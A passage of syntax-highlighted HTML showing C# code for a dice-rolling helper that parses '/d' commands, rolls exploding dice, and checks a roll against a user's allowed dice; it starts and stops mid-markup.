#0000BB">KeyValuePair</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">RollDices</span><span style="color: #007700">(</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">parsedDices</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;builder&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">StringBuilder&nbsp;diced&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">StringBuilder</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Random&nbsp;r&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Random</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;total&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">parsedDices</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dice&nbsp;p&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">parsedDices</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #DD0000">'W'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Num</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">parsedDices</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&nbsp;+&nbsp;"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;j&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">j&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">j</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;randomized&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">r</span><span style="color: #007700">.</span><span style="color: #0000BB">Next</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Num&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">total&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">randomized</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">diced</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">randomized</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">randomized&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Num</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">randomized&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">r</span><span style="color: #007700">.</span><span style="color: #0000BB">Next</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Num&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">total&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">randomized</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">diced</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&gt;&nbsp;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">diced</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">randomized</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">j&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">diced</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #DD0000">",&nbsp;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">parsedDices</span><span style="color: #007700">.</span><span style="color: #0000BB">Length&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">diced</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&nbsp;+&nbsp;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">diced</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&nbsp;=&nbsp;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">diced</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">total</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">diced</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #DD0000">"."</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #DD0000">":&nbsp;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">Append</span><span style="color: #007700">(</span><span style="color: #0000BB">diced</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">());<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">KeyValuePair</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">int</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">&gt;(</span><span style="color: #0000BB">total</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">builder</span><span style="color: #007700">.</span><span style="color: #0000BB">ToString</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">KeyValuePair</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">bool</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&gt;&nbsp;</span><span style="color: #0000BB">IsValid</span><span style="color: #007700">(</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">parsedDices</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">userDices</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">listedUserDices&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">userDices</span><span style="color: #007700">.</span><span style="color: #0000BB">ToList</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&gt;();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">Dice&nbsp;p&nbsp;in&nbsp;parsedDices</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dice&nbsp;found&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">listedUserDices</span><span style="color: #007700">.</span><span style="color: #0000BB">Find</span><span style="color: #007700">(</span><span style="color: #0000BB">delegate</span><span style="color: #007700">(</span><span style="color: #0000BB">Dice&nbsp;u</span><span style="color: #007700">)&nbsp;{&nbsp;return&nbsp;</span><span style="color: #0000BB">u</span><span style="color: #007700">.</span><span style="color: #0000BB">Num&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Num</span><span style="color: #007700">;&nbsp;});<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">found</span><span style="color: #007700">.</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">==&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">KeyValuePair</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">bool</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&gt;(</span><span style="color: #0000BB">false</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">found</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">KeyValuePair</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">bool</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&gt;(</span><span style="color: #0000BB">false</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;index&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">listedUserDices</span><span style="color: #007700">.</span><span style="color: #0000BB">FindIndex</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">listedUserDices</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">delegate</span><span style="color: #007700">(</span><span style="color: #0000BB">Dice&nbsp;u</span><span style="color: #007700">)&nbsp;{&nbsp;return&nbsp;</span><span style="color: #0000BB">u</span><span style="color: #007700">.</span><span style="color: #0000BB">Num&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Num</span><span style="color: #007700">;&nbsp;});<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">index&nbsp;</span><span style="color: #007700">!=&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">listedUserDices</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">index</span><span style="color: #007700">&#93;&nbsp;=&nbsp;new&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">int</span><span style="color: #007700">&#91;&#93;&nbsp;{&nbsp;</span><span style="color: #0000BB">listedUserDices</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">index</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">-&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Num&nbsp;</span><span style="color: #007700">});<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">listedUserDices</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">index</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">listedUserDices</span><span style="color: #007700">.</span><span style="color: #0000BB">RemoveAt</span><span style="color: #007700">(</span><span style="color: #0000BB">index</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">KeyValuePair</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">bool</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&gt;(</span><span style="color: #0000BB">true</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">listedUserDices</span><span style="color: #007700">.</span><span style="color: #0000BB">ToArray</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">Parse</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;s</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;List&lt;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">dices&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">Dice</span><span style="color: #007700">&gt;();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">StartsWith</span><span style="color: #007700">(</span><span style="color: #DD0000">"/d&nbsp;"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">s&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">3</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">diceParams&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">s</span><span style="color: #007700">.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'+'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">diceParams</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dice&nbsp;dice&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ParseString</span><span style="color: #007700">(</span><span style="color: #0000BB">diceParams</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">bool&nbsp;changed&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">Dice&nbsp;d&nbsp;in&nbsp;dices</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">Num&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">dice</span><span style="color: #007700">.</span><span style="color: 